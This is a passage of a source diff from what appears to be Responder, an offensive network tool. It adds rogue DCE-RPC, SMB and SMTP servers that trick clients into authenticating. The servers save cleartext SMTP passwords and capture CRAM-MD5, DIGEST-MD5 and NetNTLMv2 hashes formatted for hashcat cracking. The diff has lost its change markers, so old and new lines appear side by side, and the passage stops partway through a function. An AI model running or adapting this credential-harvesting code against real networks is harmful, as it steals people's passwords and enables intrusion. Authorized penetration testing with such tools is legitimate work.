print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DRSUAPI auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == LSARPC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=LSARPC, Tower1Version="\x00\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#WINSPOOL
|
||||
if NetworkSendBufferPython2or3(WINSPOOL) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SAMR:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SAMR, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SAMR auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SRVSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SRVSVC, Tower1Version="\x03\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SRVSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WKSSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WKSSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WKSSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WINSPOOL:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == WINREG:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINREG, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINREG auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == SVCCTL:
|
||||
x = RPCMapBindMapperAns(Tower1UID=SVCCTL, Tower1Version="\x02\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SVCCTL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == ATSVC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=ATSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to ATSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == DNSSERVER:
|
||||
x = RPCMapBindMapperAns(Tower1UID=DNSSERVER, Tower1Version="\x05\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DNSSERVER auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == NETLOGON:
|
||||
# Don't redirect NETLOGON for now - we want NTLM not SecureChannel
|
||||
self.request.close()
|
||||
|
||||
#NetLogon
|
||||
if NetworkSendBufferPython2or3(NETLOGON) in data:
|
||||
self.request.close()
|
||||
# For now, we don't want to establish a secure channel... we want NTLM.
|
||||
|
||||
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
#x.calculate()
|
||||
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
#RPC.calculate()
|
||||
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
#data = self.request.recv(1024)
|
||||
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
return
|
||||
|
||||
# Try to receive more data
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if data and FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
except:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] Exception in RPCMap: %s' % str(e)))
|
||||
pass
|
||||
|
||||
finally:
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
class RPCMapper(BaseRequestHandler):
|
||||
"""RPCMapper handler - Handles actual RPC service connections"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if not data:
|
||||
return
|
||||
|
||||
self.request.settimeout(3)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
|
||||
# Look for NTLMSSP NEGOTIATE
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
# Wait for NTLMSSP AUTH
|
||||
data = self.request.recv(2048)
|
||||
|
||||
# Look for NTLMSSP AUTH
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
self.request.close()
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
print(color("[*] [DCE-RPC Mapper] NTLM authentication from %s" % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
# Check if this is a BIND with auth
|
||||
elif data[0:3] == b"\x05\x00\x0b":
|
||||
uuid, name = FindInterfaceUUID(data)
|
||||
if name and settings.Config.Verbose:
|
||||
print(text('[DCE-RPC Mapper] Connection for %s from %s' % (name, self.client_address[0].replace("::ffff:", ""))))
|
||||
|
||||
# Check for NTLMSSP in BIND
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
|
||||
data = self.request.recv(2048)
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC Mapper] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC Mapper] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
|
||||
finally:
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -201,7 +201,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
break
|
||||
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
Buffer = b"\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
667
servers/SMTP.py
667
servers/SMTP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,7 +15,14 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from base64 import b64decode
|
||||
from base64 import b64decode, b64encode
|
||||
import hashlib
|
||||
import codecs
|
||||
import struct
|
||||
import re
|
||||
import ssl
|
||||
import os
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
@@ -23,59 +30,617 @@ else:
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
"""SMTP server with multiple authentication methods and STARTTLS"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.challenge = None
|
||||
BaseRequestHandler.__init__(self, *args, **kwargs)
|
||||
|
||||
def send_response(self, code, message):
|
||||
"""Send SMTP response"""
|
||||
response = "%d %s\r\n" % (code, message)
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_multiline_response(self, code, lines):
|
||||
"""Send multi-line SMTP response"""
|
||||
for i, line in enumerate(lines):
|
||||
if i < len(lines) - 1:
|
||||
response = "%d-%s\r\n" % (code, line)
|
||||
else:
|
||||
response = "%d %s\r\n" % (code, line)
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def send_continue(self, data=""):
|
||||
"""Send continuation response for AUTH"""
|
||||
if data:
|
||||
response = "334 %s\r\n" % data
|
||||
else:
|
||||
response = "334\r\n"
|
||||
self.request.send(response.encode('latin-1'))
|
||||
|
||||
def upgrade_to_tls(self):
|
||||
"""Upgrade connection to TLS using Responder's SSL certificates"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] SSL certificates not found'))
|
||||
return False
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Successfully upgraded to TLS from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] TLS upgrade failed: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_plain(self, data):
|
||||
"""Handle AUTH PLAIN"""
|
||||
try:
|
||||
# AUTH PLAIN can be:
|
||||
# AUTH PLAIN <base64>
|
||||
# or
|
||||
# AUTH PLAIN
|
||||
# <base64>
|
||||
|
||||
auth_match = re.search(b'AUTH PLAIN (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
# Inline format
|
||||
auth_data = auth_match.group(1).strip()
|
||||
else:
|
||||
# Need to read next line
|
||||
self.send_continue()
|
||||
auth_data = self.request.recv(1024).strip()
|
||||
|
||||
if not auth_data or auth_data == b'*':
|
||||
return False
|
||||
|
||||
# Decode
|
||||
decoded = b64decode(auth_data)
|
||||
# Format: [authzid]\x00username\x00password
|
||||
parts = decoded.split(b'\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1].decode('latin-1', errors='ignore')
|
||||
password = parts[2].decode('latin-1', errors='ignore')
|
||||
elif len(parts) == 2:
|
||||
username = parts[0].decode('latin-1', errors='ignore')
|
||||
password = parts[1].decode('latin-1', errors='ignore')
|
||||
else:
|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'AUTH-PLAIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured AUTH PLAIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing AUTH PLAIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_login(self, data):
|
||||
"""Handle AUTH LOGIN (two-stage)"""
|
||||
try:
|
||||
# Check if username is inline
|
||||
auth_match = re.search(b'AUTH LOGIN (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
# Username provided inline
|
||||
username_b64 = auth_match.group(1).strip()
|
||||
username = b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
else:
|
||||
# Prompt for username
|
||||
self.send_continue(b64encode(b"Username:").decode('latin-1'))
|
||||
username_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not username_b64 or username_b64 == b'*':
|
||||
return False
|
||||
|
||||
username = b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Prompt for password
|
||||
self.send_continue(b64encode(b"Password:").decode('latin-1'))
|
||||
password_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not password_b64 or password_b64 == b'*':
|
||||
return False
|
||||
|
||||
password = b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'AUTH-LOGIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured AUTH LOGIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing AUTH LOGIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_cram_md5(self, data):
|
||||
"""Handle AUTH CRAM-MD5 (challenge-response)"""
|
||||
try:
|
||||
import time
|
||||
import os
|
||||
|
||||
# Generate challenge
|
||||
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
|
||||
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not response_b64 or response_b64 == b'*':
|
||||
return False
|
||||
|
||||
response = b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
# Format: username<space>digest
|
||||
parts = response.split(' ', 1)
|
||||
|
||||
if len(parts) < 2:
|
||||
return False
|
||||
|
||||
username = parts[0]
|
||||
digest = parts[1].lower()
|
||||
|
||||
# Format for hashcat
|
||||
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'CRAM-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured CRAM-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing CRAM-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_digest_md5(self, data):
|
||||
"""Handle AUTH DIGEST-MD5"""
|
||||
try:
|
||||
import time
|
||||
import os
|
||||
|
||||
# Generate nonce
|
||||
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
|
||||
|
||||
# Build challenge
|
||||
challenge_parts = [
|
||||
'realm="%s"' % settings.Config.MachineName,
|
||||
'nonce="%s"' % nonce,
|
||||
'qop="auth"',
|
||||
'charset=utf-8',
|
||||
'algorithm=md5-sess'
|
||||
]
|
||||
challenge = ','.join(challenge_parts)
|
||||
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not response_b64 or response_b64 == b'*':
|
||||
return False
|
||||
|
||||
response = b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Parse response
|
||||
username_match = re.search(r'username="([^"]+)"', response)
|
||||
realm_match = re.search(r'realm="([^"]+)"', response)
|
||||
nonce_match = re.search(r'nonce="([^"]+)"', response)
|
||||
cnonce_match = re.search(r'cnonce="([^"]+)"', response)
|
||||
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response)
|
||||
qop_match = re.search(r'qop=([a-z\-]+)', response)
|
||||
uri_match = re.search(r'digest-uri="([^"]+)"', response)
|
||||
response_match = re.search(r'response=([0-9a-fA-F]+)', response)
|
||||
|
||||
if not username_match or not response_match:
|
||||
return False
|
||||
|
||||
username = username_match.group(1)
|
||||
realm = realm_match.group(1) if realm_match else ''
|
||||
resp_nonce = nonce_match.group(1) if nonce_match else ''
|
||||
cnonce = cnonce_match.group(1) if cnonce_match else ''
|
||||
nc = nc_match.group(1) if nc_match else ''
|
||||
qop = qop_match.group(1) if qop_match else ''
|
||||
uri = uri_match.group(1) if uri_match else ''
|
||||
resp_hash = response_match.group(1)
|
||||
|
||||
# Format for hashcat/john
|
||||
hash_string = "%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s" % (
|
||||
username, realm, nonce, cnonce, nc, qop, uri, resp_hash
|
||||
)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'DIGEST-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': resp_hash,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured DIGEST-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
# Send rspauth (expected by some clients)
|
||||
rspauth = 'rspauth=' + resp_hash
|
||||
self.send_continue(b64encode(rspauth.encode('latin-1')).decode('latin-1'))
|
||||
|
||||
# Client should send empty line
|
||||
self.request.recv(1024)
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing DIGEST-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_ntlm(self, data):
|
||||
"""Handle AUTH NTLM with proper Type 2 challenge"""
|
||||
try:
|
||||
import time
|
||||
|
||||
# Check for inline NTLM NEGOTIATE
|
||||
auth_match = re.search(b'AUTH NTLM (.+)', data, re.IGNORECASE)
|
||||
|
||||
if auth_match:
|
||||
negotiate_b64 = auth_match.group(1).strip()
|
||||
else:
|
||||
# Send empty continuation
|
||||
self.send_continue()
|
||||
negotiate_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not negotiate_b64 or negotiate_b64 == b'*':
|
||||
return False
|
||||
|
||||
negotiate = b64decode(negotiate_b64)
|
||||
|
||||
# Verify NTLMSSP signature
|
||||
if negotiate[0:8] != b'NTLMSSP\x00':
|
||||
return False
|
||||
|
||||
msg_type = struct.unpack('<I', negotiate[8:12])[0]
|
||||
if msg_type != 1: # Type 1 - NEGOTIATE
|
||||
return False
|
||||
|
||||
# Generate Type 2 with proper structure
|
||||
type2_msg = self.generate_ntlm_type2()
|
||||
challenge_b64 = b64encode(type2_msg).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive NTLMSSP AUTH (Type 3)
|
||||
auth_b64 = self.request.recv(2048).strip()
|
||||
|
||||
if not auth_b64 or auth_b64 == b'*':
|
||||
return False
|
||||
|
||||
auth_data = b64decode(auth_b64)
|
||||
|
||||
# Parse Type 3 and extract hash
|
||||
ntlm_hash = self.parse_ntlm_type3(auth_data, type2_msg)
|
||||
|
||||
if ntlm_hash:
|
||||
# Extract username from hash for logging
|
||||
username = ntlm_hash.split('::')[0]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': ntlm_hash,
|
||||
'fullhash': ntlm_hash,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [SMTP] Captured NTLMv2 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Error parsing NTLM: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def generate_ntlm_type2(self):
|
||||
"""Generate NTLM Type 2 with target info for NTLMv2"""
|
||||
import time
|
||||
|
||||
# Generate random 8-byte challenge
|
||||
challenge = RandomChallenge()
|
||||
|
||||
# Target name: "WORKGROUP" (18 bytes in UTF-16LE)
|
||||
target_name = b'WORKGROUP'.decode('ascii').encode('utf-16le')
|
||||
target_name_len = len(target_name)
|
||||
|
||||
# Build target info (AV pairs) for NTLMv2
|
||||
target_info = b''
|
||||
|
||||
# MsvAvNbDomainName (0x0002)
|
||||
av_domain = b'WORKGROUP'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0002, len(av_domain)) + av_domain
|
||||
|
||||
# MsvAvNbComputerName (0x0001)
|
||||
av_computer = b'SERVER'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0001, len(av_computer)) + av_computer
|
||||
|
||||
# MsvAvDnsDomainName (0x0004)
|
||||
av_dns_domain = b'workgroup'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0004, len(av_dns_domain)) + av_dns_domain
|
||||
|
||||
# MsvAvDnsComputerName (0x0003)
|
||||
av_dns_computer = b'server'.decode('ascii').encode('utf-16le')
|
||||
target_info += struct.pack('<HH', 0x0003, len(av_dns_computer)) + av_dns_computer
|
||||
|
||||
# MsvAvTimestamp (0x0007) - 8 bytes FILETIME
|
||||
filetime = int((time.time() + 11644473600) * 10000000)
|
||||
target_info += struct.pack('<HH', 0x0007, 8) + struct.pack('<Q', filetime)
|
||||
|
||||
# MsvAvEOL (0x0000)
|
||||
target_info += struct.pack('<HH', 0x0000, 0)
|
||||
|
||||
target_info_len = len(target_info)
|
||||
|
||||
# Calculate offsets
|
||||
target_name_offset = 48
|
||||
target_info_offset = target_name_offset + target_name_len
|
||||
|
||||
# Build Type 2 message
|
||||
type2_msg = b'NTLMSSP\x00' # Signature
|
||||
type2_msg += struct.pack('<I', 2) # Type 2
|
||||
|
||||
# Target name (LE format: len, max len, offset)
|
||||
type2_msg += struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
|
||||
|
||||
# Flags - use HTTP server flags for compatibility
|
||||
type2_msg += b'\x05\x02\x81\xa2' # 0xa2810205
|
||||
|
||||
# Challenge (8 bytes)
|
||||
type2_msg += challenge
|
||||
|
||||
# Context (8 bytes, reserved)
|
||||
type2_msg += b'\x00' * 8
|
||||
|
||||
# Target info (LE format: len, max len, offset)
|
||||
type2_msg += struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
|
||||
|
||||
# Payload
|
||||
type2_msg += target_name
|
||||
type2_msg += target_info
|
||||
|
||||
return type2_msg
|
||||
|
||||
def parse_ntlm_type3(self, type3_msg, type2_msg):
|
||||
"""Parse Type 3 and extract NetNTLMv2 hash"""
|
||||
try:
|
||||
# Verify signature
|
||||
if type3_msg[:8] != b'NTLMSSP\x00':
|
||||
return None
|
||||
|
||||
# Verify message type
|
||||
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return None
|
